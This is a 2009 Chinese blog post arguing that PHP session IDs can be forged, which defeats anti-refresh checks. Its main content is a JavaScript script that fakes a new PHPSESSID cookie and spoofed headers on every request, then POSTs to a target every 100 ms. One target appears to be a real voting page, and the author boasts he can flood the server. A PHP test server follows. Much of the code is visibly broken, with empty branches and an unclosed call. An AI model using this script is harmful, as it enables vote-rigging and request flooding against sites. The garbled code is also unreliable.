[PHP]php的sessionid可以伪造,不要用来做防刷新处理
(2009-07-04 18:00:19)
标签:
xmlhttpcookieifdocument杂谈 |
如果是基于session或者cookie做防止刷新,那么,我可以伪造状态,用xmlhttp把服务器刷爆 代码如下,服务器端的代码在最后一个textarea里.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
Transitional//EN">
<html>
<head>
<title>
xmlhttp</title>
<meta http-equiv="Content-Type" content="text/html;
charset=utf-8" />
<script language="javascript" type="text/javascript"
src="fckXML.js"></script>
<script language="javascript"
type="text/javascript">
<!--
function SetCookie(sName, sValue)
{
date = new Date();
document.cookie = sName + "=" + escape(sValue) + "; expires=" +
date.toGMTString();
}
if ( window.XMLHttpRequest
)
else if ( window.ActiveXObject )
urlToCall = "http://toupiao.scol.com.cn/toupiao_save.asp";
urlToCall = "http://develop-3/test/jstest/xmlhttp/server.php";
urlToCall = "http://test.bai.com/jstest/xmlhttp/server.php";
host = "test.bai.com";
var bAsync = 1 ;
result = '';
i = 1;
n = 2;
function zuobiStart()
{
//打开url
oXmlHttp.open( "POST", urlToCall, bAsync ) ;
//伪造ssessionid
欺骗服务器,服务器的本次会话session就重新置换了,所有的session就失去意义了。
phpsessid = Math.random();
id2 = Math.random();
phpsess = phpsessid.toString()+'11111'+id2.toString();
phpsess = phpsess.replace( /\./g,"0"
phpsess = phpsess.substr( 0,32 );
cook ="PHPSESSID="+phpsess+"; ";
//设置PHPSESSID,由于php的session依靠cookie来实现,所以这样就实现了本次会话session的刷新
document.cookie=cook;
//以下是可以修改的头
oXmlHttp.setRequestHeader (
oXmlHttp.setRequestHeader (
oXmlHttp.setRequestHeader(
oXmlHttp.setRequestHeader(
oXmlHttp.setRequestHeader( "accept-encoding", "gzip,
deflate");
oXmlHttp.setRequestHeader( "CONNECTION", "keep-alive");
oXmlHttp.setRequestHeader( "accept", "image/gif, image/x-xbitmap,
image/jpeg, image/pjpeg, application/vnd.ms-powerpoint,
application/vnd.ms-excel, application/msword, */*");
//以下是不可以修改的头,改了服务器也不认
oXmlHttp.setRequestHeader( "Referer",
'example.test.com');
oXmlHttp.setRequestHeader ("Cookie", cook);
oXmlHttp.setRequestHeader ("HOST", host );
oXmlHttp.setRequestHeader( "content-length",
"11");
oXmlHttp.setRequestHeader( "CACHE_CONTROL", "kcache");
}//end func
//结束
flushtimerID = window.setInterval(zuobiStart,100);
//-->
</script>
</head>
<body>
<textarea name="info"
<?php
session_start();
//pr($_COOKIE);pr($_GET);pr($_POST);
//pr($_SESSION);pr($_COOKIE);
if ( $_SESSION['posted'] == 1 ) {
}
//get cookie number
$num = $_COOKIE['currNum'];
$expires = time()+60*60*24*365;
if (!isset($_COOKIE['currNum'])) {
}
else {
}
?>
<style type="text/css">
*{font:12px verdana;}
</style>
<pre>
<?php
foreach ($_POST as $key=>$v) {
}
//print_R($_SERVER);
foreach ($_SERVER as $k=>$v) {
}
echo $str;
$fp = fopen("d:/tmp/".$num.".txt","wb");
//fwrite($fp,$str);
fclose($fp);
$_SESSION['posted'] = 1;
?>